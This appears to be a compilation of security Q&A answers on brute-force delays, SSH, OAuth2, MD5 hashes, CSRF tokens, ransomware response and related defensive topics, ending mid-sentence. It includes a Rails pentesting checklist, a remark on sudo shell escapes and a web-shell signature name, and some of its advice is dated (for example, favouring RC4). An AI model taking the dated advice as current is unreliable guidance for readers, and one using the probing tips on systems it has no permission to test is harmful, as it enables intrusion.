my bruteforce prevention has major downsides - any ideas?

Detecting brute force by user client behaviour alone is notoriously difficult. Due to distributed attacks, attacks against multiple usernames etc. means traffic patterns are hard to detect.

My recommendation, and the solution I use on almost all of my own systems, is to insert a simple delay into the process at the point of failure so if a user authenticates successfully it simply functions normally but for every failure insert a 2 or 3 second delay before declaring the failure.

For both humans and scripted clients (such as legitimate access to APIs etc.) this does not cause any issue, but for brute force attacks this slows the process down to an infeasibly slow speed even for every one of any likely number of parallel brute force threads (as long as passwords are complex of course.)

In addition, most server side languages release the CPU for 'sleep' commands and so this avoids this particular solution causing a DOS based on CPU time (though connection socket pools may still be an issue).


Why is external access to a server via SSH considered insecure?

SSH is not typically considered insecure in and of itself but it is an administrative protocol and some organizations require two or more layers of control to get access to an administrative console. For example connecting via a VPN first then opening an SSH session which connects through that VPN. This simply provides multiple layers of defense in depth and prevents your systems from being directly affected by the latest SSH vulnerabilities.

Note: This is NOT a weakness in SSH itself and many organizations will still expose SSH on high TCP ports for use as SFTP servers then have a script move data to and from that system (not allowing the external SSH/SFTP server to connect to the rest of their network).

All protocols eventually have vulnerabilities so if you can require the use of two different ones (i.e. IPSEC VPN and SSH) and stay disciplined about remediation efforts when vulnerabilities are discovered then the window of time where known vulnerabilities exist in both protocols at the same time on your network should be very small. Statistically, the requirement for using two protocols should reduce the amount of time where you would have a single protocol exposed with a known vulnerability (assuming you actually patch/remediate vulnerabilities).

As a poor text graphic look the following:

Time --->

IPSEC ------------------------     ----------------

SSH   ---------       -----------------------------

Versus having just SSH, or a VPN, by itself:

SSH   ---------       -----------------------------

In the first example when an SSH vulnerability came out there wasn't one for IPSEC and vice versa so there was never a time, in this crude example, where your systems had vulnerabilities at both layers. This defense in depth is what is protecting the system behind these protocols which occasionally may have vulnerabilities.

In the second example, SSH by itself, the moment there is a vulnerability, or a password breach, or any number of other issues, an attacker can directly access your vulnerable system during the window of exposure.

I would ask if any other administrative protocols are being exposed and if so then you can question the technology bias but most likely you may be in an organization that doesn't allow any administrative protocols to be accessed directly from the Internet.


Is Linux really that secure, with only root password denying external access?

"Linux" (as some aggregate of all the installations) typically has quite a bit more than just a password denying external access.

First, there's a uniform set of discretionary access controls: read/write/execute permissions, for user/group/everybody else. Traditionally, these permissions are actually used, rather than ignored and/or worked around. Additionally, some subset of installations have SELinux installed, configured and working, so that finer-grained, access control list style of permissions is enforced.

Second, servers usually run as a designated special user. NTP processes run as as user "ntp". Web server processes run as a user "http", MySQL databases runs as a user "mysql", for example. The descretionary access controls described above almost always prevent the NTP user ID from doing much more than reading some of the HTTP user ID's files.

Third, the software installed base is highly fragmented. There's a huge number of different distributions. After that, not every installation runs Apache HTTPD, or sendmail SMTP server. There are alternatives, and there's usually only a plurality of installations with a given server. Versions of software are also highly fragmented. With every distribution compiling and maintaining its own choice of web server, it's very, very rare for two installations to run a server that has the same bugs, or even the same compilation options.

So, for instance, someone going after a Linux machine via WordPress password guessing can maybe guess the WordPress password. That might get the attacker something running as user "http" or "apache". Bad and horrifying as that might be, it's not everything. The "http" or "apache" user almost certainly can't overwrite very many files at all, only HTML and what have you in the DocumentRoot directory. It would take another leap, guessing the "root" password for some distributions, or exploiting a local privilege escalation, to get to some kind of universal file access.

This really is multiple layers, but note that it's mainly by culture and tradition, and it's also a sort of "herd immunity". It's always possible that some combination of exploits would yield root access on a given system, but that combination probably wouldn't apply to very many other systems.


ruby on rails pentesting web applications

There's a number of areas that you can focus on with rails apps, depending on the level of access you have.  Some initial ideas

If you have source code access (and I would highly recommend it), you can use Brakeman to find some issues.
Even if you can't get source code access, you may be able to request the output of the 'rake routes' command which should give you a picture of all the possible routes in the app.
OWASP have a good doc on rails security which has some good starting points.
I'd always try changing extensions on requests (e.g. from html to xml or json) as rails tends to have different code paths for different formats and this can expose security issues.
if you can find the version of rails in use (in the Gemfile in the application root), review for known CVEs (there have been a few)
As rails apps generally have an MVC structure, they can have quite predictable URL paths, so if you're black-boxing, then things like /users/1/edit (replace users with other plural nouns) can produce interesting results
Always decode the cookies to see if there's any secret info in there (there shouldn't be).


Your preliminar answer is a good one, if they can install programs use GPGP: http://www.gnupg.org/

Get them to generate a key pair, email you the public key, encrypt whatever you want to that and return over email.

Alternate options are:

Encrypt with Winzip AES256 option, choosing a long complex password (goodpassword.com) and exchange that out-of-band e.g. phone, sms
Place the files on an encrypted removable media e.g. hardware encrypted such as Ironkey or encrypted CD / USB and send this via courier / post. Exchange password out-of-band. This is more suitable for larger files than just a certificate and key.

Depending on your risk appetite and the information and systems the VPN provides access to you maybe comfortable also using a "secure" file sharing option e.g. Dropbox or Google apps folder


Security issues in a Dotnet Web application

1) To restrict ICMP messages:

Open Windows Firewall, and click the Advanced tab.

In ICMP, click Settings.

In the ICMP Settings dialog box, do the following:
To block an ICMP message (prevent the ICMP message from passing through Windows Firewall), clear the check box next to the ICMP message and then click OK.

Note: If you check the 'Allow incoming echo request' box you will not be able to ping your server.
2) Find those files on the server (do a search) and either delete the files or change the permissions. You can change the permissions of a file by right clicking on it and then going into properties.
3) Depending on your version of IIS, you can follow one of these instruction sets: http://support.microsoft.com/kb/218180


There are multiple problems with what you are trying to do...

General Information

OAuth2 in the "traditional" way is not meant to be used on anything other than a webbrowser. This means that if you have a desktop application or a mobile application, you should not use "traditional" OAuth2 for authentication. By "traditional", I mean the one where you get redirected to the provider website to enter your username/password then redirected back with a token that will be used by the client and etc.

Now let's start the explanation... OAuth2 documentation can be a bit confusing at first. What they refer to as a client is what we usually refer to as server when we are developing web application. There is 3 part to OAuth2 :

Service Provider : Google, Facebook, etc.
Client (webserver, desktop application, mobile application communicating with the service provider)
User (the application the physical user is using)

The problem with mobile and desktop application is that the client and the user is the same thing AND they reside on the client machine. Ever heard the saying "there is no security client side"? This pretty much apply here.

Problem 1 : The client secret

You are right to not want to put your client secret in the mobile app because your app can be "decompile" and hacker will retrieve your client secret. Once they have it, they can create their own application and impersonate your app.

Problem 2 : Username / Password

Don't use the "traditional" OAuth2 on a mobile/desktop application. The problem here is how you enter the username/password and how you retrieve the token that the service provider give the user after he logs in. Let's look at possible way to get it "working securely"...

Fail attempt 1 : Ask your user to enter username/password directly through your interface.
Reason for being bad : Congratulation, you just stole the facebook login of all your users.

Fail attempt 2 : Open a browser with the provider page.
Reason for being bad : How do you get the token back from the browser now? There is no way to get it (unless you have a malicious application constantly reading what is in the browser of the user)

Fail attempt 3 : Open a fake browser to lure the user to give you it's log in information.
Reason for being bad : Same at attempt #1. Mobile application can go full screen and control everything you see so you cannot trust them. Desktop application can open new window that could mimic your browser, etc.

The hard fact is that there is no way to make "traditional" OAuth2 work without a secure webbrowser that acts as the "user" and an https webserver that acts as the "client".

OAuth2 was never designed to provide authentication but rather just authorization. There is a big distinction between the two. OAuth2 protocol was "hacked" in order to make it able to provide authentication also (check OpenId). The only problem with this "hack" is that it only works in webbrowser like explained previously.

A real solution

If you still want to continue using OAuth2/OpenID for your login and wanna do it in a secure way, it will be a bit different than what you have imagined. Using OAuth2 for login is still a good idea as it saves your users the trouble of remembering yet another username/password.

You will need a server where your client id and secret will be stored. Your mobile app will connect to this server to send the token.
When ask for log in, redirect the user to the service provider webpage in a browser. Alternatively, the user could go directly to your https website to log in which will again redirect them. The service provider webpage is the only place your should enter your log in information.
Create an https webpage where the user will be able to see the token once he logs in using the service provider.
Ask the user to copy this token into your application. Your application then send the token to your server. The server add the client id and client secret and forward it to the service provider.

Your user can now use their "facebook" login to log into your application and there is no way for your application to steal their log in information or for an hacker to steal your client secret.

Additional Note

The case of phishing attacks and OAuth2 when used outside a web browser is an interesting one as well but that would be the subject of another question.


How to trace location where MITM is occurring?

Before entering any type of passwords, you need a secure system to safely diagnose what is happening.  If you have another machine or a Live DVD or USB drive of a Linux distribution like Linux Mint or Ubuntu to boot up on your current system, or another system on the same network start there.

This will help determine if you have some sort of malware or backdoor on the system you were experiencing this on.  If you are able to use another known clean/secure system and none of the symptoms occur, then you know your computer is affected locally on the operating system running.  If on the other hand, any system in your network is getting re-routed, then yes, it's possible your router is compromised too.

What are the details of the system you are using?  Is it on a domain with a Windows Server?


Is a newly installed server with no services running (but connected to the web) at risk?

You could use nmap to get a better view of the (network)services it is running:

nmap -sS -v <your_server> -sV -p1-65535

and lsof to view the current inbound/outbound connections to the box.

lsof -i

If there are no processes listening on any port then the server is reasonably safe. If new services are installed(i.e. ssh server) it is recommended that strong(>8 characters, alpha numeric, upper case, lower case, special characters) passwords are used(with SSH some argue it's better to use public key authentication).
For added safety you could also install fail2ban and run an updating script regularly(i.e. as a cron job).

For example, an update script(on Debian/Ubuntu) may look like:

#!/bin/bash
sudo sh -c "apt-get update;apt-get dist-upgrade;apt-get autoremove;apt-get autoclean"

Installing fail2ban on Ubuntu/Debian can be done using:

sudo apt-get install fail2ban

In order to configure fail2ban it is recommended to make a copy of the default configuration file:

sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local

and work on the copy:

sudo vim /etc/fail2ban/jail.local

The most relevant entries are ignoreip, bantime, findtime and maxretry.

Increasing the bantime and maxretry values statistically improve security.


How safe is md5sum in regards to verifying executable files?

The comments cover an important aspect about MD5 collisions, but I'll give a little more food for thought (and the math to back it up) as I think there is a little misunderstanding in this area, especially around pre-image attacks.

  is it possible to trick someone into running a malicious executable file instead of a real one provided by a website; assuming they will md5sum the file

Yes-ish. Here are two methods of vastly different feasibilities.

Feasible: Compromise website security. Once done, upload the new executable and modify the posted hash on the website. The feasibility is dependent on the security of the website.
Intractable: Send target a malicious executable that hashes to the same posted hash. Take a malicious executable, then start padding the executable with data, then hash the result until the MD5 hash of the malicious executable is the same as the legitimate executable. Note, MD5 has found to not be collision resistant, but it is still fairly 1st and 2nd preimage resistant (forest had a great explanation on this here).

Assumptions for 2:

The fastest 2st preimage attack on MD5 whittles down the number of combinations to 2^123.4 (according to this paper). This means that if I compute 9.7... × 10^36 hashes, I will have a 50% chance of finding the desired output hash (see math 1).
We are hashing the smallest possible malicious program at 13 bytes (unlikely and very conservative) and I'm assuming my padding will be 16 bytes (this gives me enough room to combine all possible combinations) for a total hashing of 29 bytes for each program.
An 8 Nvidia 1080 GPU setup can hash 2x10^11 "29 byte files" per second (a little aggressive).

This means using an 8 Nvidia 1080 GPU setup, it'll take 1.5x10^26 or 150000000000000000000000000 years to have a 50% chance of developing a malicious program that hashes to the desired target hash (under the current assumptions - see math 2).

Hopefully this gives you a sense of the numbers that it would take to "spoof" an MD5 checksum. And yes, the numbers are even more ridiculous with SHA256.

Reference:

Math 1 (solve for x in 1 - ((2^123.4 - 1)/2^123.4)^x = 0.5. The x is the number of programs you need to hash to have a 50% chance of hashing to a desired target hash):

Math 2 (by units I mean 29 byte files or the number of hashes that must be performed):


Is there a need for SSL on a local site?

Short Answer: If you can use it, use it !

It is a good practice to have SSL even on Local sites. There is no such thing as 'ONLY' local network. I'm assuming you use the word 'only' to indicate that only people inside your network can access it. This is a result of the fact that people don't consider insider threats.

But lets say you just have static pages, containing pages of information. In that case SSL is not worth it.

But when you are dealing with web apps, with sensitive information, it is imperative to use SSL, even inside your own network.

EDIT: Definitely USE it. (based on your edit). Same reason as above. Inside attackers can sniff the traffic and possibly spoof another user.


Could a cloud provider access your data?

Legally they can't, phisically they can.
Its more of a "what do they use that information for" kind of scenario what would give them away if they truly are accessing your data without your consent.
What I mean by this is that you would never know if they are going through your data unless they use it for something else.


The best you can realistically hope for is to use whatever features the local OS provides for storing "secrets". This means DPAPI on Windows, Keychain on MacOS X... use this to either store the user password, or some decryption key for an encrypted file which contains the user password. OS-level features may have a more direct access to hardware than what you can do at application level, and, as such, offer a possibly stronger (less weak) protection against attackers. Also, you cannot be blamed for having used the "OS recommended" method of storing secrets.

If the client machine is stolen altogether, you still have to assume that the attacker will be able to recover the user password. Possible mitigations include using an autolock feature on the client machine coupled with hard disk encryption (but this is outside of your reach as an application writer, and the human user might not like the idea). The autolock means that the attacker will find it difficult (not impossible, but difficult) to mess with the machine while it is still on, and hard disk encryption means that rebooting the machine permanently locks the attacker out of the stored secrets (the disk encryption password has to be typed in every time the machine boots).


How is the correct key chosen when decrypting OpenPGP messages?

The key used for encryption is stored in the OpenPGP message's meta data, so your implementation of OpenPGP can just look up the proper key in the message. Unless the "hidden recipient" feature is used by the sender, in which case the application will just try through all available private keys until it finds the matching one (the OpenPGP CFB mode includes mechanics to understand whether the decryption was successful).


Is necessary to use salt if I use a complex password?

The salt is what is going to add flavor to each password and make each hash unique. It's not related to how complex your password is.
If I get your password hash file and you have no salt, the process to generate all those hashes was the same and I have only one unknown key to guess. So I can use the pre-compiled (rainbow) table to find a match and know it.
But by adding a salt to each password, each line would become unique. You are adding an extra layer of security and those two users with the password "Password" won't have the same hash.


I would start with OWASP's Developer Guide. Then just keep reading through other OWASP resources. Since you mentioned specifically PHP. Here is a PHP Security Cheat Sheet.

Another good read is SANS: "security checklist for web app design".

These should give you a good understand of building safe web sites/apps.


Separation of devices for VPN / Firewall

Not really an useful  idea to keep them separate. Splitting FW and VPN rarely actually helps. The only possible scenario when this would be good for something would be a successful DoS attack that would affect your VPN. But if a DoS happens vs the firewall, the fact that the VPN device is working would not be of much help.

Now on the other way, if you have for example 2 ASAs in redundant mode, they support VPN so you have everything from 1 vendor + redundancy.

It is very easy to properly control access from the same device: practically, in your firewall you will also be able to configure what the VPN IPs can actually access. This can be a great advantage as it simplifies management and offers better security compared to having separate devices.


Is algorithm used to sign defined by certificate?

If I understand your question properly you are asking whether when a certificate (and private key) is used to sign or encrypt data, does that certificate contain the allowed algorithms for that signing or encrypting?  The answer is not really.

Outside the specific type of public-key crypto implemented in the certs (usually RSA), you can integrate them with just about any type of encryption or digital signing algorithms.  If you want to use AES to encrypt data you can do that and use the cert public key to encrypt the AES key.  If you want to digitally sign a document you can use SHA-256 to hash the document and use your cert private key to encrypt the SHA-256 hash.

These algorithms can be just about anything you chose as long as any software intended to process the encrypted or signed documents is compatible.

If, instead, you're talking about the algorithm used to sign the certificate by the issuing CA, then yes, that is listed in the certificate.


What is WebRTC and how can I protect myself against leaking information that doesn't need to be shared?

WebRTC stands for Web Real Time Communication.  It's used for most web related voice, video, or file sharing capabilities.  Specifically instances of communication where you are directly connecting to your peer through your browser.  Some examples could be web-games that let you play tic-tac-toe with a friend.  Sharing files directly through a browser to another peer.  Most browsers have native support for WebRTC except for Internet Explorer and Safari.  It uses encryption for all its communications, but as you've found there's a huge vulnerability.

It seems that Windows and FreeBSD are the vulnerable operating systems.  I'm currently running a Debian based distro, and it does not seem to be vulnerable based on the two links you've provided.

It does not appear that you can only block the leaked IP vulnerability and use WebRTC for its intended use.

Mitigations

I'm not sure which plugin you've installed to disable WebRTC.  This article states that both WebRTC Block and ScriptSafe extensions for Chrome will stop the vulnerability.  For Chrome make sure that all Chrome processes have been closed after you've installed the extension.  Sometimes the Chrome sandboxes aren't properly closed when the browser window is.  This will ensure the new extension has taken effect properly.

For FireFox the NoScript add-on should block the request.  You can also disable some settings with the following steps:

Type about:config in the address bar
Find the setting media.peerconnection.enabled and set it to false
Find the setting media.navigator.enabled and set it to false

I would not suggest using Internet Explorer as a mitigation... a leaked IP would probably be the least of your worries.  Switching OSs is an option, but probably a tedious one.


Ransomware aversion and identification techniques

The best mitigation against ransomware that has gotten onto your network isn't to stop it as quickly as possible, it's to already have backups.

The first step is to identify the vector and contain all of the potential malware, not just the ransomware.

Until you can rule out additional payloads, you do not want your users on the network where they can potentially be infected.  If the user machines get infected, they can re-infect the servers more easily than an outside source, so you want to isolate them.

This means that the files on your server will be unavailable to your users, whether the files had been maliciously encrypted or not.  It doesn't matter how quickly you stop the encryption: Once you have confirmed the vector and contained the malware, you should be taking off and nuking the entire site from orbit reformatting the disks and restoring from backups; it's the only way to be sure.

For many businesses, this means a couple of days where the office workers will be sitting idle while the servers are being rebuilt, but it's a much better option than having an undetected back door where attackers are able to get your business's sensitive information.

Watching I/O can help detect a ransomware attack, in addition to other ways, but in general, be wary of any tool that automatically stops I/O based on unusual usage, as it could create false positives, frustrating users who will seek other (less secure) ways to move a large number of files if they can't do so with the servers in the network.


How to encypt sensitive data in database of a web app?

The generally accepted approach is similar to what AndrolGenhald suggested in an earlier answer but with some enhancements.

You can encrypt each user's data individually, using a key derived from their password.  You do not, however, want to use the password directly as a key.  It's a multi-step process, as follows.

1) You generate a random key, using a CSPRNGm, and use this random key to encrypt the user's data.   You can create a new, different random key for each user. This is called the DEK, or data-encryption-key.

2) You take the user's password and run it through a PBKDF (such as PBKDF2, bcrypt, or scrypt) using a reasonably high work factor or number of iterations and a random salt to create a second key, the KEK or key-encryption-key.   You then encrypt the DEK using the KEK, and store the encrypted DEK and the salt in the database.

Then, when the user logs in, you use their password and the salt from the database to regenerate the KEK, which you can use to decrypt the DEK, which you can use to decrypt the data.

Now, when the user changes their password, you no longer have to decrypt and re-encrypt all of their data, but simply use the new password (and a new salt) to generate a new KEK, and re-encypt the DEK using this new KEK.


Is a password-protected excel file considered secure versus encrypted file or email

It's really broad to ask about whether a document is considered "secure". Something that is "secure" enough for me, sending a love poem to my girlfriend, is not "secure" enough for Obama, sending a love poem to Putin.

As Alexander O'Mara mentioned in a comment, there are different ways of setting a password on a file.

  Excel gives you several ways to protect a workbook.

  You can require a password to open it, a password to change data, and
  a password for changing the file's structure—adding, deleting, or
  hiding worksheets.

  You can also set a password in Backstage view that encrypts your
  workbook.

  Remember, though, that this type of protection doesn't always encrypt
  your data - only the encrypting password created in Backstage view
  does that. Users can still use third-party tools to read data that
  isn't encrypted.
       (from here )

So it seems that simply password protecting an excel file would not be very "secure", as someone might still be able to view the data with a third party tool.

That said, assuming you want edit protection, it again depends what you later do with the password, or how you would transmit it to the person later using it.


Can you secure a web app from FireSheep without using SSL?

You could avoid the current Firesheep via some "security thru obscurity" scheme involving authentication via dynamic session management as discussed here.  You can use "Digest Authentication" (RFC 2617), but that is still vulnerable to a MITM attack, degrades the user experience and requires the server to store your password (or a password equivalent) in the clear.

But avoiding SSL/TLS would not get around the two fundamental problems that without encryption: (1) all the private content is shared in the open, and (2) a determined attacker could figure your scheme out and defeat it.

See some cute examples of active attacks, mythbusting about performance penalties, and specific advice on deploying SSL from EFF: How to Deploy HTTPS Correctly.  Note also the Stack Overflow meta discussion on why it hasn't been fixed on Stack Overflow (yet).

Note that the exposure for common sites is worse than I initially thought.  E.g. note this wrinkle as the Firesheep author explains in a great post

  You can’t simply avoid visiting the
  sites that are being attacked here.
  There’s an enormous amount of mixed
  content on the web today, such as the
  Facebook “Like” button, Digg’s “Digg
  It” button, twitter widgets, and even
  embedded images that are hosted on
  Flickr or other photo sharing sites.
  Every time you access any web page
  that includes any of this content,
  your browser also sends any
  authentication cookies you have with
  the request to pull down the widget.

You can at least fix the errors he discusses there (like actually invalidating session cookies when a user logs out!!).

You can also advise your users on how to protect themselves to some degree from these "sidejacking" attacks, e.g. to use a VPN or find a WPA2 wifi network (but see WPA2 issues here).

Thanks to @D.W. for a link to the best-thought-out interim approach I've seen: SessionLock Lite by Ben Adida.  It at least prevents persistent hijacks by passive attackers: Benlog » keep your hands off my session cookies.  Just don't stop there - engineer an SSL deployment....


Should your client SSL Trusted Authority contain only root and intermediate certificates?

Your chain of trust has to be anchored in a trusted certificate somewhere. Adding the "root" certificate (whichever that may be) is enough to establish that trust. However, if any chaining certificate which links the server cert to the trusted one is not sent by the server during the connection, and your client doesn't have a copy of that chaining certificate, then the full chain of trust cannot be established.

So in that case, adding the intermediate certificate would help. The server's own certificate is always sent during SSL negotiations, so trusting THAT certificate simply anchors the trust right there, obviating the need to validate down to some other trusted authority and potentially avoiding any missing components along the way.

As for CRLs, if you directly trust the server certificate, no CRL will be consulted. Checking the CRL is up to the client software implementation, and may or may not be a supported feature.


Key management: Detecting that a key has been compromised?

As the receiver, can I detect that the shared secret is, or may have been, compromised?

In short: whatever you put into the publicly distributed application you implicitly share with an attacker and (s)he will not tell you once (s)he extracted these secret information.

In detail:
In the scenario you describe the secret is embedded into the application and thus implicitly shared with anybody who is able to download your application. Because of this broad distribution of the (only obfuscated) shared key you must consider that it is either already compromised or will be compromised, at least if there is something valuable to gain when using the key outside of the intended use case.

Probably the only way to detect a definite compromise is if the key is obviously used outside of your application. You might detect this with methods of anomaly detection. But if you don't detect the compromise it does not mean that the key is not compromised, it could simply mean that the hacker was smarter than you and hides its activities clever enough so your anomaly detection will not catch it.


Why can CSRF attack be prevented by issuing CSRF tokens?

You are correct that the browser will send the CSRF-cookie from example.com with the request. However, because of the Cross Origin Resource Sharing the script on evil.com can not read the CSRF-token embedded in the webpage on example.com/form.html.

So the script on evil.com can not access the cookie, since it belongs to another domain. And it can not read the token in the form, because the browser won't allow it to read the content of the page.

The script on evil.com could read the token in the form if example.com allowed the domain in its Access-Control-Allow-Origin-header. This would mean example.com has explicitly whitelisted evil.com to be able to read the response content.


The short answer is no or yes, depending on how you look at it.

With RSA, as specified in PKCS#1, the message to sign is first hashed, and the hash value is "converted" into an integer modulo n (where n is the modulus, a part of the RSA key pair). In the old versions of the standard, that conversion is indeed a kind of padding (extra bytes are concatenated to the hash value, and the result is interpreted as an integer modulo n with big-endian convention). The newer padding, named "PSS", is a bit more complex and implies more work than mere concatenation, but we still call it "padding", mostly out of tradition.

Details of the padding turned out to be very important to the security of RSA as a signature scheme (the modular exponentiation of RSA is malleable, which is a problem for signatures, and the padding fixes that).

In DSA, as specified in FIPS 186-3, the input message is also hashed, and the hash value is also converted into a modular integer (modulo q, the size of the subgroup used by the key). This calls for a conversion of "some bytes" to "an integer", which could be called "padding", too (it is no more preposterous than calling PSS a type of "padding"). It so happens that DSA has much fewer requirements for this conversion, so it is defined with a rather simple conversion process: the hash value is truncated or expanded to the length of q (in bits), by adding zeros (on the "left"); then the resulting sequence of bytes is converted to an integer (big-endian convention again), and reduced modulo q (since the sequence was made to match the length of q, this reduction is computationally easy).

So we can say that there is some padding in DSA, but a simple padding with only zeros.


Localhost is the name that each computer (most computers) has on its loopback interface. You should see this interface as an interface that is attached only to your local system. By definition, the whole 127.0.0.0/8 (or ::1/128 for IPv6) subnet is reserved for this interface. Only your own computer can access this network.
If your service only listens to the loopback address, then the client must be on that loopback network too. And there is only one interface (loopback) on that network.
You can also look at it from the point of IP routing. Suppose I have two computers. A wants to talk to the loopback interface of B. So, what would the IP address be? 127.0.0.1. But that is already A's own loopback interface, so A will try to connect to its own loopback interface and not that of B.
Now, your question is "is it possible", then the answer is that perhaps, having control over both computers, I could start routing on B and get A off the standard 127.0.0.1 for its loopback, than maybe if A and B are on the same switch (L2 connected) I could perhaps make it work.  But for all practical purposes:

An url https://localhost or http://127.0.0.1 cannot be reached from outside your computer
A VPN is for this like an ordinary network, and, as explained that won't work either.


Is there a way to forward ports through VPN?

There's definitively a way to forward ports with VPN, just not with any VPN service.

You have to rent a server, a cheap VPS box will do, and then set up a VPN between you and it with something like OpenVPN, set up to tunnel your traffic through the server.

Once that is done you can use iptables in the VPS to forward all the ports you want just like you would on a LAN.


To quote the README from maldetect:

Let us assume for a moment we have malware that we want to clean and
it trips with the signature "{HEX}php.cmdshell.r57.89". The actual
signature string in this is "php.cmdshell.r57", the "{HEX}" just
defines the format and ".89" is the variant number.

"format" in this will be either MD5 or HEX, the two types of maldetect signature.  Quoting again, "The signatures that LMD uses are MD5 file hashes and HEX
pattern matches..."
The two files that had 'hits' were both part of the maldetect distribution that foo unpacked under their home directory:
/home/foo/maldetect-1.6.4/files/sigs/rfxn.yara is a Yara signature file.  It must contain a string that matches malicious software, but which also matches the tests that maldetect runs.  It is not actually malicious.
/home/foo/maldetect-1.6.4/files/clean/gzbase64.inject.unclassed is a cleaner file, which contains malicious strings to be matched and erased from infected files.  Again, it contains a string which matches a test that maldetect runs, but it isn't actually malicious.
The moral of this story is: don't scan the scanner directory.  Here's someone else with the same problem.


How to protect against a determined harasser

Increasing the time it takes to begin any sort of harrassment, and decreasing the time it takes to take any action of illicit content is going to be the best wat to mitigate the problem.

In this case, contacting the police is your best option as far as taking any direct action against the attacker. In the meantime your primary focus and concern is to mitigate the issue as much as problem. Remember that this is one person who has dedicated his time, he will eventually get bored and move on to something else.

Your primary goal here is to make it harder for him to make any illicit content in the first place, while still allowing your regular users in. Here are some of the steps I took when I had a similar issue on my popular vBulletin website:

Blacklisting potential domains or hosts of illicit material
Requiring a unique email address, with certain temporary email providers blacklisted
Limiting new accounts:

I required moderator approval for all posts made with an accout under 15 (approved) posts for anything that embedded a link or image.
I required moderator approval for all PMs sent from any account less than 3 days old or with less than 15 (approved) posts.

Find an anti-spam plugin or addon that can match possible patterns.
Disabling email capability. In most cases, only admins really should have the power to email their users.

Another thing to try is to get a cheap SSL certificate and use HTTPS during registration, or even site-wide. Most standard proxies don't support HTTPS, and most that do are usually for a fee which he may be unwilling to pay after a while. Tor still may support HTTPS, so it's worth trying to block Tor entry points if possible (as you've indicated).

For example, gandi.net has a single-domain for $16/yr that would suffice just fine.


Is it acceptable that a skilled professional pentester deletes or modifies sensitive data in production unintentionally during a pentest?

There's no way that a pentester can 100% assure that data will not be modified or deleted, in the same way as they can't assure that system availability won't be affected (I've knocked systems over with a port scan or a single ' character).  as you say a web crawler can delete data from a system if it's been set-up badly.

I'd say that what should be said is something like "every care will be taken to ensure that the testing does not negatively affect the systems under review and no deliberate attempts will be made to modify or delete production data or to negatively affect the availability of in-scope systems. However with all security testing there is a risk that systems will be affected and the customer should ensure that backups of all data and systems are in place prior to the commencement of the review"


PFS on nginx: only RC4 gets used (TLS_ECDHE_RSA_WITH_RC4_128_SHA)

If you connect to this site with your Web browser, it will show you what protocol versions and cipher suites are supported by that browser. Notably, Firefox does not seem to support (yet) TLS 1.1 and 1.2, so this prevents it from using any cipher suite ending in "_SHA256" because these are for TLS-1.2 only.

If your server is accessible from the Internet, SSL Labs also offers a test page for servers that can tell you what your server is indeed advertising. Alternatively, if your server is private in some way, you may try to use this tool, which won't tell you as much but can work on private networks (the C#/.NET version has less bugs than the Java version).

Perfect Forward Secrecy relates to the protection of the confidentiality of the data against ulterior theft of the server's private key. This kind of risk is all-or-nothing: either the key is stolen (and every non-PFS past connection is revealed, if it was recorded of course), or not. With RC4, issues are more of a statistical nature; the known problems of RC4 are small biases which, usually, don't reveal much. Both risks are not exactly of the same kind, so you cannot really compare one with the other except in a very general view where, for instance, you try to estimate the average costs induced by breaches. But "average" does not apply well to a single Web site...

Personally, I'd go for PFS, even if it implies using RC4.


What is Windows Watchdog and what do we know about it?

The existence of a watchdog timer (software or hardware) has no security implications.

A watchdog is a timer that is used to detect hardware or software lockups. A watchdog timer counts down and, if it ever reaches zero, it will assume the system has frozen and will take corrective action (such as by rebooting the computer). In order to prevent this from happening, a process will periodically reset the watchdog, usually once every few seconds. In the case that this process ever stops functioning (for example due to the computer locking up), the watchdog will keep ticking down until it eventually reaches zero and causes a reboot. The amount of time that must lapse varies from milliseconds to full minutes, depending on how fast the system must respond to a malfunction.

A software watchdog is designed to detect userspace (user programs) freezing or otherwise becoming unresponsive. It's only capable of working if the kernel (the core of the OS) is still functional. A hardware watchdog is usually built into the motherboard and will detect a system lock up no matter what, as a frozen or crashed computer will stop resetting it, causing it to force the system to restart.

See Watchdog timer on Wikipedia for more information.


Why is it so easy to pirate apps for Android, considering most have an internet connection and access to phone details?

Wouldn't it be easy for Google to stop piracy as the Google Play Store knows which apps are installed and it would raise a red flag if an app that cost money is installed but there was no history of it being downloaded through the app store?

It's not as straightforward as that. There is no reliable, automated way to tell that a side loaded application is the same as an existing Play Store application. Simply changing the application's package names would make it really hard to compare one application with another. A more sophisticated attempt at hiding the application might be to recompile the application with an obfuscator. It is probably an Undecidable Problem.

It will also be an egregious privacy violation if Play Store uploads the names/signatures of side loaded applications to Google's server. That's more akin to what a spyware would do than a reputable application store. People generally don't like being treated like criminals; presumption of innocence is the principle.

Software DRM is most just for show, and can't really protect against piracy. If an application ships with DRM so it somehow cripples itself if it detects it is pirated, the pirates will simply modify the pirated application to disable such checks. The effect being that the DRM is only active on the systems of honest users, while the pirates got to have a DRM-free version.

There were a time in the 90s and early 2000s where softwares ships with various kind of DRM techniques. This leads to a sort of arms race between software developer and pirates; until software developers realized they are on a losing battle, as the DRM techniques used started becoming very invasive and becomes more like a malware than most real malware. Most software developers have since learned that most DRM is useless, and now protects their intellectual property thorough other means.


Usually a large number of log entries from a honeypot are from one of two reasons:

Your environment is getting scanned like a smudged barcode.
You made the mistake of putting your honeypot on a non-dark network.

You've configured your honeypot as a pretty typical Windows desktop, so lots of Windows service active, open sharing, etc. What you are likely seeing is just how incredibly NOISY the NetBIOS protocol is. Windows is exceptionally chatty what with the file and print sharing discovery, Workgroup auto-configuration, and my personal favorite...Browser Elections.

Without actually seeing an analysis of your log files, I'm going to guess you're just being flooded by the honeypot reporting all of that Windows discovery nonsense. By and large honeypots are designed to sit on dark networks, that is a subnet in your address space that is otherwise unallocated. They assume that any traffic reaching the system is malicious, or at the very least invalid, and should be reported on.


How can I find if my website code has been implemented somewhere else?

You could place unique values in the HTML Meta "Keywords" tag, which some search engines will index.  (According to this article, Yahoo and Ask index it.)  If you put a truly unique string into your meta keywords, then you can search for it to find anyone who's copied your site as long as they left the keywords alone.
<head>
<title>My Cool Site</title>
<meta name="keywords" content="SuperUniqueValueStringHere, qlkzweamn" />
</head>


Shell escaping vs. /etc/sudoers. What's the difference?

If one already has all privileges anyway then using techniques for privilege escalation do not make much sense, except maybe for hiding what you were doing from the logs. Escaping to the shell from inside a command is usually used if one was given only limited privileges, like sudo being restricted to edit a specific file or similar.


Penetration testing approach - Is there a better method?

Large tech companies, like Netflix, can afford to have an in-house security team influencing the design and deployment of their software. They don't need to bring in outside help.

Any company without an in-house security team has a few options for pen-testing:

